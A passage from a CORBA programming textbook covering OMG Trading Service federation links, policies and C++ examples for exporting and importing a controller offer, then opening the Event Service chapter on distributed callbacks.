direct a query to begin executing in that trader. For example, for the federation graph in 
Figure 19.6, a query directed at trader A with a sequence containing the names sub 
and shares for the starting_trader policy directs the query to begin execution in 
trader D. Trader A forwards the query untouched to trader B, which in turn forwards it to 
trader D, where it begins execution. 
 
The starting_trader policy is always obeyed for a query and overrides all other 
policies, such as link_follow_rule and max_follow_policy. On its way to the 
starting trader, the other policies for a query are passed from trader to trader without 
change, so they begin to take effect only after the query has reached the starting trader. 

19.16.4 The Link Interface 

The Link interface permits you to add, remove, and modify links. In addition, you can 
list the links for a trader and examine their configuration. 
       
typedef Istring             LinkName; 
typedef sequence<LinkName>  LinkNameSeq; 
typedef LinkNameSeq         TraderName; 
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enum FollowOption { local_only, if_no_local, always }; 
 
interface Link : 
        TraderComponents, SupportAttributes, LinkAttributes { 
 
    struct LinkInfo { 
        Lookup          target; 
        Register        target_reg; 
        FollowOption    default_follow_rule; 
        FollowOption    limiting_follow_rule; 
    }; 
 
    exception InvalidLookupRef { 
        Lookup target; 
    }; 
 
    exception IllegalLinkName { 
        LinkName name; 
    }; 
 
    exception UnknownLinkName { 
        LinkName name; 
    }; 
 
    exception DuplicateLinkName { 
        LinkName name; 
    }; 
 
    exception DefaultFollowTooPermissive { 
        FollowOption default_follow_rule; 
        FollowOption limiting_follow_rule; 
    }; 
 
    exception LimitingFollowTooPermissive { 
        FollowOption limiting_follow_rule; 
        FollowOption max_link_follow_policy; 
    }; 
     
    void        add_link( 
                    in LinkName     name, 
                    in Lookup       target, 
                    in FollowOption default_follow_rule, 
                    in FollowOption limiting_follow_rule 
                ) raises( 
                    IllegalLinkName, DuplicateLinkName, 
                    InvalidLookupRef, DefaultFollowTooPermissive, 
                    LimitingFollowTooPermissive 
                ); 
     
    void        remove_link(in LinkName name) 
                    raises(IllegalLinkName, UnknownLinkName); 
     
    void        modify_link( 
                    in LinkName     name, 
                    in FollowOption default_follow_rule, 
                    in FollowOption limiting_follow_rule 
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                ) raises( 
                    IllegalLinkName, UnknownLinkName, 
                    DefaultFollowTooPermissive, 
                    LimitingFollowTooPermissive 
    ); 
     
    LinkInfo    describe_link(in LinkName name) 
                    raises(IllegalLinkName, UnknownLinkName); 
     
    LinkNameSeq list_links(); 
}; 
 
      
Note that the Link interface exists mainly as an administrative interface. Ordinary 
applications do not normally use it because they typically must integrate with whatever 
federation structure is in place at a particular installation. (This does not cause problems 
because federation is transparent to clients of the trader.) 

Creating a Link 

The add_link operation creates a new link: 
        
typedef Istring             LinkName; 
typedef sequence<LinkName>  LinkNameSeq; 
typedef LinkNameSeq         TraderName; 
 
enum FollowOption { local_only, if_no_local, always }; 
 
interface Link : 
        TraderComponents, SupportAttributes, LinkAttributes { 
    // ... 
   
  void        add_link( 
                    in LinkName     name, 
                    in Lookup       target, 
                    in FollowOption default_follow_rule, 
                    in FollowOption limiting_follow_rule 
                ) raises( 
                    IllegalLinkName, DuplicateLinkName, 
                    InvalidLookupRef, DefaultFollowTooPermissive, 
                    LimitingFollowTooPermissive 
                ); 
    // ... 
}; 
 
       
The add_link operation creates a new link between two traders. The link points from 
the trader on which add_link is invoked to the trader whose Lookup interface is 
specified by the target parameter. The name parameter names the new link. The 
default_follow_rule and limiting_follow_rule parameters determine the 
default and limiting follow behavior for the link (see Section 19.16.1). 
The operation can raise one of the following exceptions. 
IllegalLinkName 
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The name for the link is syntactically invalid. Unfortunately, the specification does not 
define a syntax for link names, so it is probably best to use simple identifiers. 
DuplicateLinkName 
Another link for this trader already has the supplied name. 
InvalidLookupRef 
The object reference to the Lookup interface of the target trader is nil or denotes a non-
existent object. 
DefaultFollowTooPermissive 
The default_follow_rule parameter specifies a behavior that is more permissive 
than the one specified by the limiting_follow_rule parameter. 
LimitingFollowTooPermissive 
The limiting_follow_rule parameter specifies a behavior that is more permissive 
than that specified by the trader's max_link_follow_policy. This test is made only 
at creation time. If you change a trader's max_link_follow_policy later, it is 
possible that a link has a more permissive policy than the trader's limiting policy. 
However, the trader's limit still takes precedence during query evaluation. 

Removing a Link 

The remove_link operation removes a link: 
        
interface Link : 
        TraderComponents, SupportAttributes, LinkAttributes { 
    // ... 
    void        remove_link(in LinkName name) 
                    raises(IllegalLinkName, UnknownLinkName); 
    // ... 
}; 
 
       
The name parameter identifies the link to be removed. If the link name has illegal syntax, 
the operation raises IllegalLinkName. If the specified link does not exist, the 
operation raises UnknownLinkName. 

Modifying a Link 

The modify_link operation changes a link's follow policies: 
        
interface Link : 
        TraderComponents, SupportAttributes, LinkAttributes { 
    // ... 
    void        modify_link( 
                    in LinkName     name, 
                    in FollowOption default_follow_rule, 
                    in FollowOption limiting_follow_rule 
                ) raises( 
                    IllegalLinkName, UnknownLinkName, 
                    DefaultFollowTooPermissive, 
                    LimitingFollowTooPermissive 
    ); 
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    // ... 
}; 
 
       
You can use the operation to change a link's policy values without having to remove and 
re-create a link. 

Listing Links 

The list_links operation returns the names of all links for a trader: 
        
interface Link : 
        TraderComponents, SupportAttributes, LinkAttributes { 
    // ... 
    LinkNameSeq list_links(); 
    // ... 
}; 
 
       
Note that no iterator is provided for this operation. Omitting the iterator is reasonable 
because a trader will never have more than a handful of federation links. 

Obtaining Link Details 

The describe_link operation returns the details of a link: 
        
interface Link : 
        TraderComponents, SupportAttributes, LinkAttributes { 
 
    struct LinkInfo { 
        Lookup          target; 
        Register        target_reg; 
        FollowOption    default_follow_rule; 
        FollowOption    limiting_follow_rule; 
    }; 
     
    // ... 
     
    LinkInfo    describe_link(in LinkName name) 
                    raises(IllegalLinkName, UnknownLinkName); 
}; 
 
       
The return value of type LinkInfo contains the details of the link. Note that the return 
value contains not only the Lookup reference for the link but also the target trader's 
Register reference. If the target trader does not support the Register interface, 
the target_reg member contains a nil reference. 

19.16.5 Locating a Trader's Register Interface 

The resolve operation allows you to explicitly locate a federated trader's Register 
interface: 
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interface Register : TraderComponents, SupportAttributes { 
    // ... 
     
    exception IllegalTraderName { 
        TraderName name; 
    }; 
     
    exception UnknownTraderName { 
        TraderName name; 
    }; 
     
    exception RegisterNotSupported { 
        TraderName name; 
    }; 
    
   // ... 
    
   Register    resolve(in TraderName name) raises( 
                        IllegalTraderName, 
                        UnknownTraderName, 
                        RegisterNotSupported 
                ); 
}; 
 
      
The resolve operation is useful if you want to export a service offer into a trader in a 
federation other than the local trader. The name parameter specifies the sequence of link 
names for the target trader whose Register interface is to be returned. If the specified 
trader does not support a Register interface, the operation raises 
RegisterNotSupported. 
 
Unfortunately, resolve is part of the Register interface instead of the Link 
interface. As a result, a trader that does not support the Register interface but does 
support federation cannot offer the resolve operation. In addition, resolve cannot 
return a reference to a trader that does not support the Register interface. Therefore, if 
you require reliable resolution, it is probably better to use list_links and 
describe_link to navigate to the target trader and then obtain that trader's 
Register reference. 

19.16.6 Federation and Import Policies 

Unfortunately, the OMG Trading Service specification does not define how to treat the 
search_card, match_card, and return_card policies for federated queries. In 
particular, the search_card policy presents problems. 
 
Assume that we set the search_card policy to 10,000 for a query submitted to trader 
A as shown in Figure 19.6. Also assume that the hop count and link policies permit the 
query to reach traders B, C, and D. The question is, what should trader A do when it 
passes the query to traders B and C? 
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Trader A could simply leave the search cardinality at 10,000 when it forwards the query 
to each trader. However, that would result in an effective search cardinality of at least 
20,000, because both trader B and trader C will search as many as 10,000 offers 
(assuming that they honor the policy at all). If trader B or C forwards the query in turn to 
trader D, this results in a further 10,000 offers being searched. The net effect is that the 
total number of searched offers can be 40,000 instead of the specified 10,000. 
 
Another strategy would be for trader A to look at the size of its own offer space first. 
Assume that A holds 6,000 offers. In that case, trader A could decide to pass a search 
cardinality of 2,000 to each of its federated traders B and C. Depending on the size of 
their own offer spaces—say, 1,500 offers each—traders B and C may in turn decide to 
pass the query to trader D with a search cardinality of 500. The problem with this 
approach is that it may result in missed matches. For example, trader D may hold many 
matching offers, whereas traders A, B, and C may have no matching offers. However, 
because the query reaches trader D with a search cardinality of 500, trader D may never 
examine enough of its offer space to locate any matching offers. Similarly, if trader A 
had decided to pass a value of 3,000 to trader B and 1,000 to trader C, additional offers 
might have been discovered in trader B. 
 
In yet another scenario, trader A has 100,000 offers in its database, and the search 
cardinality is 10,000. This means that the trader should never forward the query to any 
federated trader, because it can satisfy the requirement to search no more than 10,000 
offers locally. However, the link policy on the federation links to trader B and C may be 
set to always. Which policy should take precedence now—the link policy or the search 
cardinality? Unfortunately, the specification is silent on this point. 
 
Because the required behavior is unspecified, different traders use different strategies 
when they pass queries around a federation. In addition, because different traders in the 
federation may be sourced from different vendors, different strategies might apply at 
different points throughout the federation, making it even harder to decide what the 
effects will be. Your vendor may provide documentation on how the search cardinality is 
treated for federated queries, but that does not help you if traders from different vendors 
are federated. 
 
In defense of the trading specification, the contributors were aware of the limitations and 
problems of how federation interacts with cardinality limits. Yet at the same time, it was 
felt that there had to be a way for importers to prevent a query from searching traders 
halfway around the planet. It is unlikely that you would be interested in a tire shop in 
Europe if you are living in the United States, especially if you must pay for the search. 
 
In general, it is difficult to limit query propagation across arbitrary graphs of distributed 
databases. At the very least, it requires global knowledge of the federation graph and the 
number of offers at each node of the graph, but that conflicts with the requirements to 
keep the system stateless and scalable. 
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Both the search cardinality and the hop count policy were introduced with these concerns 
in mind. The aim was to provide importers with at least some means, however inadequate, 
of limiting the propagation of a query. 

19.17 Trader Tools 

The OMG Trading Service specification does not place any requirements on 
implementations with respect to tools. Nevertheless, most vendors provide at least a 
minimal set of tools that allow you to administer a trader and to manipulate its offer space. 
Typically, traders provide command-line interfaces that allow you to change 
configuration values, maintain the service type repository, and add and remove service 
offers. Some vendors also provide graphical user interfaces that allow you to 
conveniently view and update the contents of a trader. 
 
Because tools are outside the scope of the specification and differ from vendor to vendor, 
we do not cover them here. However, you should become familiar with the tools provided 
for your trader. 

19.18 Architectural Considerations 

Now that you have seen what a trader can do, an interesting question is, how should you 
use it? As with the Naming Service, there are a number trade-offs. 
 
As soon as you make the decision to use a trader as part of your application, you gain a 
number of advantages. 
 
The trader provides a standard way to dynamically select objects based on complex 
criteria. Because it is standardized, the trader is widely understood as an architectural 
component of CORBA. If your application requires some form of integration with 
applications from other vendors, using a trader instead of a proprietary mechanism makes 
such integration easier. 
 
A trader is very efficient at evaluating constraints, and you can use it to run queries on 
large numbers of objects without generating significant messaging overhead. 
 
A trader is a flexible tool and is suitable for use by many diverse applications. The cost of 
using a trader is typically far lower than the cost of developing a separate application-
specific mechanism for object selection for each application. If selection criteria or 
policies change over time, applications are easily modified because a different constraint 
often is sufficient to implement the change. 
 
Dynamic properties provide a way to easily build systems that are highly flexible and that 
dynamically adjust their behavior. For example, you can create dynamic properties that 
report the system load on different machines to select a service on the machine that has 
the lowest load. 
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Traders permit you to advertise objects by criteria that are unknown to the objects 
themselves. Even though at least some properties are likely to reflect object state, we can 
add other criteria that are not part of an object's state. For example, we might choose to 
add properties to controller advertisements that describe the size and color of the physical 
cabinet. This approach adds an extra degree of flexibility because we can change the way 
objects are advertised without changing the objects themselves. 
 
We believe that traders will continue to grow in importance as an architectural 
component of distributed systems. A trader's role in a distributed system is similar to that 
of a search engine for the Web. Traders are general-purpose information brokers and are 
suitable for a variety of commercial purposes. In particular, trading for easily described 
commodity items, such as shares and CDs, is likely to become more and more important. 
In addition, with appropriate service type definitions, traders can form the basis for 
applications such as on-line browsing of catalogs and other electronic commerce 
applications. 
 
On the other hand, using a trader forces you to deal with many of the same issues you 
must deal with when using the Naming Service. Often, the most significant issue is 
reliability. Adding a trader to your application design adds a dependency on another 
system component that might fail. This exposes your application to the reliability of a 
component outside your control, and you must anticipate and deal with failure of an 
independent component. For many applications, it is sufficient to give up or to simply 
refuse service if their trader is non-functional. However, in more demanding 
environments, you may have to create sophisticated error-handling and recovery 
strategies to deal with failures in an acceptable way. 
 
Performance and scalability also may be important to you. Even though you may have a 
trader that meets your reliability requirements, this does not mean that it can handle the 
query throughput your application requires. Similarly, a trader may work fine with a few 
dozen service types and a few thousand service offers, but its performance may degrade 
unacceptably if you have hundreds of service types and hundreds of thousands of service 
offers. 
 
You may be tempted to use a proprietary mechanism for object discovery for 
performance reasons. Often, a custom-built search mechanism that is part of the 
application is faster than a general-purpose trader. For example, we can view the find 
operation in the climate control system as a special-purpose trader. The advantages of 
building our own object discovery operations, such as find, are that we remove the 
dependency on the trader and that we can make the find operation arbitrarily fast by 
using appropriate data structures. Implementing find with the help of a trader will likely 
be slower because the trader uses general-purpose data structures instead of something 
that is highly optimized for specific queries. 
 
On the other hand, operations such as find are very inflexible. Whenever we want to 
change the criteria by which we locate objects, we must update the code and possibly 
even change the application's data structures to support the new search criteria efficiently. 
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As soon as we require any degree of flexibility in the way clients search for objects, a 
trader is likely to be a better choice than tailor-made search operations because of the 
effort that is required to build a general-purpose search engine that supports a flexible 
query language. 
 
When you are using a trader as part of an application architecture, a common mistake is 
to treat it as a database. Even though a trader has many database characteristics, it is not a 
general-purpose database. For one thing, traders are typically optimized to deal 
efficiently with the most common import scenario, in which the importer selects a single 
matching service offer. If you routinely use a trader for queries that return large sets of 
service offers, you may find that performance or memory consumption of the trader 
becomes a problem. 
 
Second, a trader is unreliable in the sense that it can give incomplete answers. For 
example, the max_search_card and max_return_card policies can cause 
arbitrary truncation of query results. In addition, in a federation, one or more traders may 
be down or the max_hop_count policy can prevent searching of the complete offer 
space. A database guarantees either to return all matching results or to return an error 
indication. A trader, on the other hand, can silently return partial results. Do not create 
designs that rely on a trader for complete answers. If you require complete knowledge of 
matching data, you must use a database. 

19.19 What to Advertise 

Your application requirements determine which objects you should advertise. As with the 
Naming Service, the prime candidates are bootstrap objects and objects that are public 
integration points for your application. Typically, you will create the service types 
required by your application only once: during installation of the software. If you have 
singleton objects such as a controller, you might also create the service offers for these 
objects during installation (possibly using a command-line tool, which saves you having 
to write a separate client to do the exports). 
 
For objects that support explicit life cycle operations, such as thermometers and 
thermostats, it is probably best to tie export and withdrawal to the create and remove 
operations to avoid leaving stale service offers in the trader. This also means that you 
must have a strategy of dealing with the situation in which the trader is not available at 
the time an object is created or destroyed. 
 
If your objects have short lifetimes, it is probably best not to advertise them in the trader 
at all. In addition, service offers in the trader should have properties that change only 
rarely because that means you have less overhead in keeping the property values up-to-
date. If you use properties that reflect writable object state, a good strategy is to have 
each object implementation update not only the object state but also the service offer. In 
that way, you minimize the likelihood that object state and property values will get out of 
sync. Another option is to use dynamic properties, but this requires more development 
effort and reduces query performance. 
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19.20 Avoiding Duplicate Service Offers 

One tempting strategy for ensuring that service offers are always present and up-to-date 
is to have the server automatically export the service offers for its objects on start-up. 
There is nothing wrong with this strategy, but you must be aware of a somewhat 
surprising behavior of the trader: if you call export twice with exactly the same 
parameters, the trader makes no attempt either to reject the second call or to update the 
service offer created by the first call. Instead, calling export twice with identical 
parameters results in two distinct service offers with identical contents. 
 
You may think this behavior strange—after all, the trader could reject an export operation 
if it already holds a service offer with the same information, so why do this? The answer 
is that this behavior may be exactly what is desired. Consider commercial television. It is 
not uncommon to see the same advertisement multiple times during a movie or even 
twice in the same commercial break. Obviously, the advertiser believes (rightly or 
wrongly) that this practice has a positive effect on sales. 
 
Now translate this into a trading environment where traders are used as brokers for 
commercial purposes, such as advertising bookstores. It is likely that each bookstore pays 
the trader operator a fee to place its advertisements. An aggressive bookstore may place 
multiple identical advertisements to increase its chances of being selected during an 
import operation. Alternatively, the bookstore might have an agreement with the trader 
operator that ensures that its advertisements will be returned for at least 70% of matching 
service offers.[5] Such agreements are not uncommon in the commercial world. In a 
trading context, they are equivalent to showing the same TV advertisement multiple 
times or paying for a full-page advertisement in a newspaper instead of a quarter-page 
advertisement. 

[5] Note that setting the preference for a query to random does not necessarily change this. 
The specification requires the matching service offers to be randomized with this preference 
but does not state that the randomization function must be without bias. 

The point is that the trader specification cannot impose a notion of fairness on service 
offers—and therefore cannot reject duplicate offers—because what is fair depends on the 
environment. 
 
For many applications, duplicate service offers are undesirable. For example, if we 
blindly export a service offer for the controller every time the server starts up, we end up 
cluttering the trader with lots of duplicate service offers for no good reason. Worse, if we 
updated the controller's offer, we could forget to update some of the offers and leave 
different offers having different property values for the same controller. 
 
There is a simple technique for avoiding duplicate service offers. Instead of blindly 
exporting the service offer every time the server starts up, we can remember the offer ID 
that was returned by the previous export. On start-up, we call describe to see whether the 
offer still exists. If the offer has disappeared for some reason or has not been exported 
previously, we export the offer and remember the offer ID returned by that export. 
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By initializing the remembered offer ID to the empty string, this technique does not 
require a special case for the first time a service offer is exported. In addition, it has the 
advantage that the service offer will be refreshed automatically if it has been deleted by 
another client. 

19.21 Adding Trading to the Climate Control System 

There are many ways to integrate trading into the climate control system, depending on 
client requirements. For example, we could advertise only the controller object, using 
properties to describe which building or group of buildings can be monitored via that 
controller. An alternative is to also advertise thermometers and thermostats. Relevant 
properties would be the asset number and the location, so clients can locate devices via a 
trader instead of using the controller's find operation (but be aware of the caveats about 
incomplete results mentioned in Section 19.18). 
 
For this example, we restrict ourselves to advertising only the controller reference. For 
simplicity, we use manifest constants for property values throughout the code. For a more 
realistic application, you would read these values from a configuration file, obtain them 
from the command line, or use the values of member variables that store object state. 

19.21.1 Creating a Service Type for the Controller 

The first step is to create a service type for the controller. (We use the service type 
definition from Table 19.1.) Typically, service types are created only once—during 
installation of an application—so the client to create the service type is usually a stand-
alone administrative program. We show only the relevant creation code here. 
       
#include <CosTradingRepos.hh>   // ORB-specific 
#include <CosTrading.hh>        // ORB-specific 
 
// ... 
 
using namespace CosTradingRepos; 
using namespace CosTrading; 
 
// Get reference to Lookup interface. 
Lookup_var lookup; 
lookup = resolve_init<Lookup>(orb, "TradingService"); 
 
// Read type_repos attribute to get IOR to type repository. 
CORBA::Object_var obj = lookup->type_repos(); 
 
// Narrow. 
ServiceTypeRepository_var repos; 
repos = ServiceTypeRepository::_narrow(obj); 
if (CORBA::is_nil(repos)) { 
    cerr < "Not a type repository reference" < endl; 
    throw 0; 
} 
 
// Fill in property definitions for controllers. 
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ServiceTypeRepository::PropStructSeq props; 
props.length(5); 
props[0].name = CORBA::string_dup("Model"); 
props[0].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_string 
                      ); 
props[0].mode = ServiceTypeRepository::PROP_MANDATORY_READONLY; 
 
props[1].name = CORBA::string_dup("Manufacturer"); 
props[1].value_type = CORBA::TypeCode::_duplicate( 
                        Manufacturing::_tc_AddressType 
                      ); 
props[1].mode = ServiceTypeRepository::PROP_NORMAL; 
 
props[2].name = CORBA::string_dup("Phone"); 
props[2].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_string 
                      ); 
props[2].mode = ServiceTypeRepository::PROP_MANDATORY; 
 
props[3].name = CORBA::string_dup("Supports"); 
props[3].value_type = CORBA::TypeCode::_duplicate( 
                        Airconditioning::_tc_ModelType 
                      ); 
props[3].mode = ServiceTypeRepository::PROP_READONLY; 
 
props[4].name = CORBA::string_dup("MaxDevices"); 
props[4].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_ulong 
                      ); 
props[4].mode = ServiceTypeRepository::PROP_NORMAL; 
 
// Create Controllers service type. 
ServiceTypeRepository::ServiceTypeNameSeq base_types; 
repos->add_type( 
    "CCS::Controllers", 
    "IDL:acme.com/CCS/Controller:1.0", 
    props, 
    base_types 
); 
 
      

Note that the code uses the resolve_init template function discussed in Section 
18.14.1. 

19.21.2 Exporting a Service Offer for the Controller 

As with the way we advertised the controller in the Naming Service (see Section 
18.14.2), the server ensures that the controller's advertisement in the trader is refreshed 
every time the server starts up. However, because the trader permits duplicate offers, we 
cannot blindly export a new service offer every time. Instead, the server stores the offer 
ID of the previous service offer in persistent storage, withdraws any previous offer, and 
replaces it with a new one: 
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#include <CosTrading.hh>    // ORB-specific 
 
// ... 
 
using namespace CosTrading; 
 
// Get reference to Lookup interface. 
Lookup_var lookup; 
lookup = resolve_init<Lookup>(orb, "TradingService"); 
 
// Navigate to Register interface. 
Register_var regis = lookup->register_if(); 
if (CORBA::is_nil(regis)) { 
    cout < "Trader does not support updates." < endl; 
    throw 0; 
} 
 
// Read the offer ID of a previous offer from a file 
// using the read_offer_id helper function (not shown). 
// Assume that read_offer_id returns an empty string 
// if no offer was previously remembered. 
OfferId_var offer_id = read_offer_id(offer_id_file); 
 
// Attempt to withdraw the previous offer. 
try { 
    regis->withdraw(offer_id); 
} catch (const UnknownOfferId &) { 
    // Fine, there is no previous offer. 
} catch (const IllegalOfferId &) { 
    // Fine, there is no previous offer. 
} 
 
// Fill in property definition for controller. 
PropertySeq props; 
props.length(3); 
props[0].name = CORBA::string_dup("Model"); 
props[0].value <= "BFG-9000"; 
 
props[1].name = CORBA::string_dup("Phone"); 
props[1].value <= "123 456-7890"; 
 
props[2].name = CORBA::string_dup("Description"); 
props[2].value <= "Deluxe model for advanced users."; 
 
// Create reference to the controller. 
CCS::Controller_var ctrl = ...; 
 
// Export the offer. 
offer_id = regis->_cxx_export(ctrl, "CCS::Controllers", props); 
 
// Store the new offer ID in peristent storage 
// using the write_offer_id helper function (not shown). 
write_offer_id(offer_id_file, offer_id); 
 
// ... 
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19.21.3 Importing a Reference to the Controller 

The client code imports the controller reference during start-up. We are using a manifest 
constant as the query string for this example, whereas a more realistic client would 
probably allow the query to be parameterized by, for example, obtaining user preferences 
via a graphical user interface. Unfortunately, the trader accepts as queries only strings 
and not expression trees. This means that to parameterize a query, you must write string 
manipulation code, which can end up being complex. Depending on your requirements, it 
may be sufficient to create a few simple query templates that allow the user to supply 
only a fixed number of predetermined property values. 
       
#include <CosTrading.hh>    // ORB_specific 
 
// ... 
 
using namespace CosTrading; 
 
// Get reference to Lookup interface. 
Lookup_var lookup; 
lookup = resolve_init<Lookup>(orb, "TradingService"); 
 
// The policy sequence sets the return cardinality to  1 
// because we are interested only in a single offer. 
 
PolicySeq policies; 
policies.length(1); 
policies[0].name = CORBA::string_dup("return_card"); 
policies[0].value <= (CORBA::ULong)1; 
 
Lookup::SpecifiedProps desired_props;   // Don't return properties 
desired_props._default(); 
desired_props._d(Lookup::none); 
 
PolicyNameSeq_var   policies_applied;   // out param 
OfferSeq_var        offers;             // out param 
OfferIterator_var   iterator;           // out param 
 
// Run query without preferences using default policies. 
lookup->query( 
    "CCS::Controllers", "Model == 'BFG-9000'", "", 
    policies, desired_props, 1, 
    offers, iterator, policies_applied 
); 
 
// Process results. 
CCS::Controller_var ctrl; 
if (offers->length() == 0) { 
    cerr < "Cannot locate matching controller." < endl; 
    exit(1); 
} else { 
    // Extract controller reference from returned offer. 
    ctrl = CCS::Controller::_narrow(offers[0].reference); 
    if (CORBA::is_nil(ctrl)) { 
        cerr << "Service provider is not a controller!" < endl; 
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        throw 0; 
    } 
} 
 
// Use controller... 
 

19.22 Summary 

The OMG Trading Service provides a flexible and dynamic object discovery mechanism 
that enables clients to choose objects that are most suitable for delivering a particular 
service. Dynamic properties and proxy offers provide even more flexible object selection 
mechanisms and can be used to integrate knowledge held in legacy systems into a 
CORBA framework. The federation capabilities of traders make it possible to build 
trading networks that scale to very large sizes. Such trading networks are likely to 
increase in popularity and importance as trade barriers are removed and electronic 
commerce applications become more wide-spread. 



IT-SC book: Advanced CORBA® Programming with C++ 

 793

Chapter 20. The OMG Event Service 

20.1 Chapter Overview 

This chapter describes the OMG Event Service, which allows applications to use a 
decoupled communications model rather than strict client-to-server synchronous request 
invocations. After the introduction, we explain in Section 20.3 why using the Event 
Service can be beneficial to applications by discussing the pros and cons of distributed 
callbacks. Section 20.4 defines the event delivery models that event-based 
applications can employ. Section 20.5 shows the IDL interfaces supplied by the Event 
Service, and Section 20.6 provides examples of how to implement the event delivery 
models. Finally, Sections 20.7 and 20.8 discuss how to choose the best event model 
for your application and describe some of the limitations of the Event Service. 

20.2 Introduction 

All the examples in the previous chapters are based on synchronous request invocations. 
With synchronous requests, a client actively invokes requests on passive servers; after 
sending a request, the client blocks waiting for the response. Clients are aware of the 
destinations of requests because they hold object references to the target objects, and each 
request has a single destination denoted by the object reference used to invoke it. If the 
target object no longer exists or for some reason is unreachable, the invoking client 
receives an exception. 
 
Many distributed applications find the synchronous request invocation model too 
restrictive despite its obvious utility. These applications generally require a means of 
decoupling the suppliers of information from the consumers interested in it. For example, 
in our climate control system we might want to have the thermometers send alarm 
messages if the temperature falls below or rises above a specified range, or we might 
want to be notified if a thermostat is set too high or too low. Making the Thermometer 
and Thermostat objects responsible for disseminating these messages to all interested 
parties unnecessarily complicates their implementations, and it scales poorly as the 
number of interested consumers rises. 
 
The OMG Event Service provides support for decoupled communications between 
objects. It allows suppliers to send messages to one or more consumers with a single call. 
In fact, suppliers using an implementation of the Event Service need not be aware of any 
of the consumers of its messages; the Event Service acts as a mediator that decouples 
suppliers from consumers. An Event Service implementation also shields suppliers from 
exceptions resulting from any of the consumer objects being unreachable or poorly 
behaved. 

20.3 Distributed Callbacks 
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Before we present details of the OMG Event Service, let us first explore the concept of 
distributed callbacks as a means of showing why an Event Service can be useful. To 
properly define a distributed callback, we must first clarify the definitions of client and 
server. For synchronous requests, the client is the one that invokes the request, and the 
server is the one that receives it and responds to it. Thus, the terms client and server are 
meaningful only with respect to a single request. The client of one request may be the 
server for another, and it is not uncommon for a single application to fulfill both roles 
simultaneously. 
 
A distributed callback requires something of a role reversal because essentially it requires 
a server to call back to a client. The usual flow of events is as follows. 
 
A client invokes a request on a server, passing it an object reference for an object in the 
client application. These invocations are often made using oneway semantics (see 
Section 4.12) with the intent of preventing the client from blocking waiting for the 
response. 
 
The server receives the request and performs the required service. 
 
To notify the client of details concerning the original request, the server calls back to the 
client by invoking an operation on the object reference that was passed with the original 
request. 
 
The client object receives the callback. 
 
The information sent in a callback depends on the application. For example, a server that 
performs long-running calculations might call back to the client to inform it of progress 
during the calculation as well as to deliver the results after it finishes the calculation. 
 
As this series of steps shows, applications that participate in distributed call-backs act as 
both clients and servers. Because it is unusual for a CORBA application to be either a 
pure client or a pure server, CORBA systems are usually categorized as peer-to-peer 
systems rather than as client-server systems. 

20.3.1 Callback Example 

Assume that we want to add a graphical monitoring application to our climate control 
system. The application allows the operator to select devices and monitor them for 
changes in temperature (for thermometers) and for changes to their settings (for 
thermostats). 
 
One way to implement the monitoring application would be to use polling to check 
device status. Whenever we needed to know the settings of a device or the temperature it 
is sensing, our application could simply invoke an operation on the target to obtain the 
desired information. Although simple, this approach suffers from several drawbacks. 
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If our monitoring application is multithreaded, it is capable of sending many polling 
requests in a short time. It is also likely that multiple instances of the monitoring 
application are being run at the same time. The combined polling requests from all 
monitoring instances may cause server saturation depending on how the server is 
implemented. For example, if the server handles each request in a separate thread, an 
excessive amount of CPU and memory resources may be consumed. Furthermore, the 
throughput of the CCS server might be limited by the bandwidth of the ICP device 
control network that it uses to communicate with the thermometers and thermostats. 
 
Even if our server has no problem handling all the polling requests sent to it, overall 
system performance may still suffer because of heavy network utilization caused by 
polling. If our monitoring applications flood the network with polling requests, the 
throughput and response times of all applications using the network suffer due to 
increased traffic. If network congestion becomes extreme, the entire CCS system could 
grind to a halt. 
 
Presumably, our monitoring application is multithreaded to allow it to perform other 
useful work, such as updating its graphical interface, while it waits for polling results. 
Unfortunately, multithreading makes our application more complex. This is especially 
true given that the multithreading is required directly in the application code—so that it 
can perform polling requests in separate threads—rather than being hidden in the 
underlying ORB or in the graphical interface libraries. 
 
By employing distributed callbacks, we can solve some of the problems caused by 
polling. Our monitoring application can register an object reference that the 
Thermometer and Thermostat objects it is interested in can use to call it back. 
When the object detects the desired temperature or settings, it invokes the callback object 
reference to inform the monitor. 
 
Using distributed callbacks in this manner solves the problems with our original polling 
solutions. It solves the server and network saturation problems by avoiding the need for 
polling. It also takes care of the multithreading application complexity problem because 
the monitor no longer needs to be multithreaded in order to obtain reasonable 
performance. 

20.3.2 Problems with Callbacks 

Although they solve our problems with polling, distributed callbacks themselves suffer 
from a number of serious problems. These have to do with callback object reference 
registration and with notification scalability. 

Object Reference Equality 

Assume that the monitoring application registers a callback by passing an object 
reference along with information that indicates the circumstances under which a callback 
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should occur. The following example shows some hypothetical additions to the IDL for 
our CCS module to support callbacks. 
        
module CCS { 
    struct CallbackInfo { 
        // contents omitted for this example 
    }; 
     
    interface Callback 
        void notify(in any data); 
    }; 
   
  interface Thermometer { 
        void    register_callback( 
                    in Callback     cb, 
                    in CallbackInfo why 
                ); 
   
   exception NotRegistered {}; 
 
        void unregister_callback(in Callback cb) 
                raises(NotRegistered); 
        // ... 
    }; 
}; 
 
       
To create a callback object, the monitoring application implements the Callback 
interface. It then registers a reference for it by invoking register_callback on a 
Thermometer object, passing it a struct that indicates the conditions under which it 
wants to be called back. When it wants to unregister the callback object, the application 
passes the registered object reference to unregister_callback. Unfortunately, with 
this design the monitoring application will have trouble unregistering its callback objects 
because CORBA does not support comparison of object references as a way of 
determining whether they unequivocally refer to the same object. 
 
CORBA provides the is_equivalent operation (in the CORBA::Object interface), 
which allows applications to ask whether two object references refer to the same object. 
Because there are cases when determining equivalence is too expensive or is not 
possible—such as when one object reference is indirected through a proxy in a firewall—
the CORBA specification does not require ORBs to perform this operation at all costs. 
Rather, it allows is_equivalent to return false if the ORB for some reason cannot 
determine equivalency, even if the two object references in question actually refer to the 
same object. In other words, a true return value means that the object references refer to 
the same object, but a false return means either that they do not or that the ORB was 
unable to make the determination. 
 
Because of the weak semantics CORBA provides for is_equivalent, applications 
should not count on it as a tool for determining object identity and object reference 
equality. Instead, applications must either avoid designs that require object reference 
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comparison or support operations in their interfaces that allow object identity to be 
determined. 
 
We can eliminate the need to compare object references in our callback example by 
returning an object from register_callback that allows the application to perform 
an unregister operation. 
        
module CCS { 
    struct CallbackInfo { 
        // contents omitted for this example 
    }; 
    interface Callback { 
        void notify(in any data); 
    }; 
    
    interface CBRegistration { 
        void unregister(); 
    }; 
    
    interface Thermometer { 
        CBRegistration  register_callback( 
